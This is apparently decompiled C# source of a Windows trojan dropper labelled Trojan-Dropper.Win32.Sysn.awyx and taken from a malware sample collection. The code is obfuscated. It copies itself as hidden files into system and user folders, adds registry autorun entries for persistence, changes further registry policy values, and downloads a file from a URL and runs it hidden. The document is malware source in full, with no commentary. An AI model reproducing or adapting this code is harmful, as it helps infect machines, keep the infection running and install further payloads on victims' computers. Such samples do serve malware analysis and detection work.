// Decompiled with JetBrains decompiler
// Type: .
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe

using \u0001;
using \u0008;
using \u000E;
using \u000F;
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;

namespace \u000E
{
  internal sealed class \u0005
  {
    [NonSerialized]
    internal static \u0002 \u0001;
    private Mutex \u0001;
    private \u0002 \u0001 = new \u0002();

    public void \u000F()
    {
      this.\u0011();
      this.\u0013();
      this.\u0012();
      this.\u0001.\u000F();
      new Thread(new ThreadStart(\u0005.\u0010)).Start();
    }

    public static void \u0010()
    {
      Registry.CurrentUser.OpenSubKey(\u0005.\u0001(3716));
      while (true)
      {
        try
        {
          \u0005.\u000F(Process.GetProcessById(Process.GetCurrentProcess().Id));
          Thread.Sleep(10);
        }
        catch
        {
        }
      }
    }

    private void \u0011()
    {
      try
      {
        this.\u0001 = new Mutex(true, \u000F.\u0001.\u0001.\u0003);
        this.\u0001.ReleaseMutex();
      }
      catch
      {
        Environment.Exit(0);
      }
    }

    private void \u0012()
    {
      string fileName = Process.GetCurrentProcess().MainModule.FileName;
      if (\u000F.\u0001.\u0001.\u0016)
      {
        \u000F.\u0001.\u0001.\u0006[0] = Environment.GetFolderPath(Environment.SpecialFolder.System) + \u0005.\u0001(1971) + \u000F.\u0001.\u0001.\u0004[0];
        \u000F.\u0001.\u0001.\u0006[1] = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + \u0005.\u0001(1971) + \u000F.\u0001.\u0001.\u0004[1];
      }
      else
      {
        \u000F.\u0001.\u0001.\u0006[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0005.\u0001(1971) + \u000F.\u0001.\u0001.\u0004[0];
        \u000F.\u0001.\u0001.\u0006[1] = Environment.GetEnvironmentVariable(\u0005.\u0001(3219)) + \u0005.\u0001(1971) + \u000F.\u0001.\u0001.\u0004[1];
      }
      if (this.\u000F())
        return;
      try
      {
        foreach (string str in \u000F.\u0001.\u0001.\u0006)
        {
          if (!\u000F.\u0001.\u0001.\u0010(str))
            System.IO.File.Copy(fileName, str);
          System.IO.File.SetAttributes(str, FileAttributes.Hidden);
        }
      }
      catch
      {
      }
      if (\u000F.\u0001.\u0001.\u0016)
      {
        try
        {
          Registry.LocalMachine.OpenSubKey(\u0005.\u0001(3773), true).SetValue(\u000F.\u0001.\u0001.\u0005[0], (object) ('"'.ToString() + \u000F.\u0001.\u0001.\u0006[0] + (object) '"'));
          Registry.LocalMachine.OpenSubKey(\u0005.\u0001(3834), true).SetValue(\u000F.\u0001.\u0001.\u0005[1], (object) ('"'.ToString() + \u000F.\u0001.\u0001.\u0006[1] + (object) '"'));
        }
        catch
        {
        }
      }
      else
      {
        try
        {
          Registry.CurrentUser.OpenSubKey(\u0005.\u0001(3773), true).SetValue(\u000F.\u0001.\u0001.\u0005[0], (object) ('"'.ToString() + \u000F.\u0001.\u0001.\u0006[0] + (object) '"'));
          Registry.CurrentUser.OpenSubKey(\u0005.\u0001(3834), true).SetValue(\u000F.\u0001.\u0001.\u0005[1], (object) ('"'.ToString() + \u000F.\u0001.\u0001.\u0006[1] + (object) '"'));
        }
        catch
        {
        }
      }
      try
      {
        this.\u0001.Close();
        foreach (string str in \u000F.\u0001.\u0001.\u0006)
          new Process()
          {
            StartInfo = {
              FileName = str,
              WindowStyle = ProcessWindowStyle.Hidden
            }
          }.Start();
      }
      catch
      {
      }
      Environment.Exit(0);
    }

    public void \u000F([In] string obj0)
    {
      try
      {
        this.\u0001.Close();
      }
      catch
      {
      }
      try
      {
        string str = \u000F.\u0001.\u0001.\u000F(new Random().Next(5, 12)) + \u0005.\u0001(3210);
        new WebClient().DownloadFile(obj0, Environment.GetEnvironmentVariable(\u0005.\u0001(3219)) + \u0005.\u0001(1971) + str);
        new Process()
        {
          StartInfo = {
            FileName = (Environment.GetEnvironmentVariable(\u0005.\u0001(3219)) + \u0005.\u0001(1971) + str),
            WindowStyle = ProcessWindowStyle.Hidden
          }
        }.Start();
      }
      catch
      {
      }
      Environment.Exit(0);
    }

    private bool \u000F()
    {
      string[] strArray = \u000F.\u0001.\u0001.\u0006;
      for (int index = 0; index < strArray.Length; index++)
      {
        string str = strArray[index];
        if (!\u000F.\u0001.\u0001.\u0010(str))
          return false;
      }
      return true;
    }

    private void \u0013()
    {
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0005.\u0001(3919), true).SetValue(\u0005.\u0001(4000), (object) \u0005.\u0001(1896), RegistryValueKind.DWord);
      }
      catch
      {
      }
      if (!\u000F.\u0001.\u0001.\u0015)
        return;
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0005.\u0001(3919), true).SetValue(\u0005.\u0001(4009), (object) \u0005.\u0001(1936), RegistryValueKind.DWord);
      }
      catch
      {
      }
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0005.\u0001(4034), true).SetValue(\u0005.\u0001(4111), (object) \u0005.\u0001(1936), RegistryValueKind.DWord);
        Registry.LocalMachine.OpenSubKey(\u0005.\u0001(4034), true).SetValue(\u0005.\u0001(4111), (object) \u0005.\u0001(1936), RegistryValueKind.DWord);
      }
      catch
      {
      }
    }

    static \u0005() => \u0003.\u000F();
  }
}